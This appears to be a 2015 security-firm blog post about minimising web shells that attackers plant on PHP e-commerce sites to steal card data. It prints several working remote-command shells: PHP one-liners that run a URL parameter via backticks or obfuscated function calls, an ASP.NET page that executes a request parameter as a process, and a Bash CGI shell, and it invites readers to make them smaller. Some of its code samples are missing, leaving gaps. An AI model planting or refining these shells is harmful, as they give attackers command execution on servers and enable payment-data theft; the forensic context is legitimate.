Blog: How Tos

The tiniest PHP system shell ever?

Joe Bursell 07 Jul 2015


Our colleagues at PTP Consulting spend most of their time forensically unpicking credit card fraud data breaches on behalf of credit card brands. One of the most popular techniques for snaffling card data from ecommerce retailers is to load a web shell to a PHP based web site.

The initial ingress point is often a file inclusion, an injection flaw or good old default admin creds. The smaller and less obvious the code, the harder it can be to spot. There are many ways to obfuscate a shell, but size is everything… or at least some of the time it is.

So they challenged themselves to see just how small they could make a functional PHP shell.

Here are their efforts to date.

Is this as small as one can go? Can you do better than this? Please let us know if you can!

They started out with this:


…which is no mean feat. It’s quite flexible and less easy to spot than other shell codes in logged requests BUT a keen eye could see what was happening.

The next step was to export the functions out onto the URL to give:

<? [email protected]$_GET[3];([email protected]$a1($_GET[2])).$b2 = @$_(@$a1(@$_GET[1])); echo ” <pre >$b2 </pre >”? >

It has the same functionality but this time it’s much shorter, also the encoding can be whatever you want (strrev, base64decode, etc).

It is quite a bit shorter, but then they came up with:


…which was the shortest for system (shell) commands that they could come up with.


The output from that is a bit messy, so a slightly better version is:

<pre> <?=`$_GET[1]`?>

Though you can achieve the same clean output by using the view-source URI method in Chrome:


You call it by putting the command in URL variable ‘1’ e.g.

How about .NET?

We’re working on ASP.NET shells too – here’s as small as we have got so far. How small can you go?

<%@Page Language=”C#”%><%var p=new System.Diagnostics.Process{StartInfo={FileName=Request[“c”],UseShellExecute=false,RedirectStandardOutput=true}};p.Start();%><%=p.StandardOutput.ReadToEnd()%>

…or a Bash shell?

echo;$_ `${QUERY_STRING/%20/ }`

You call it like this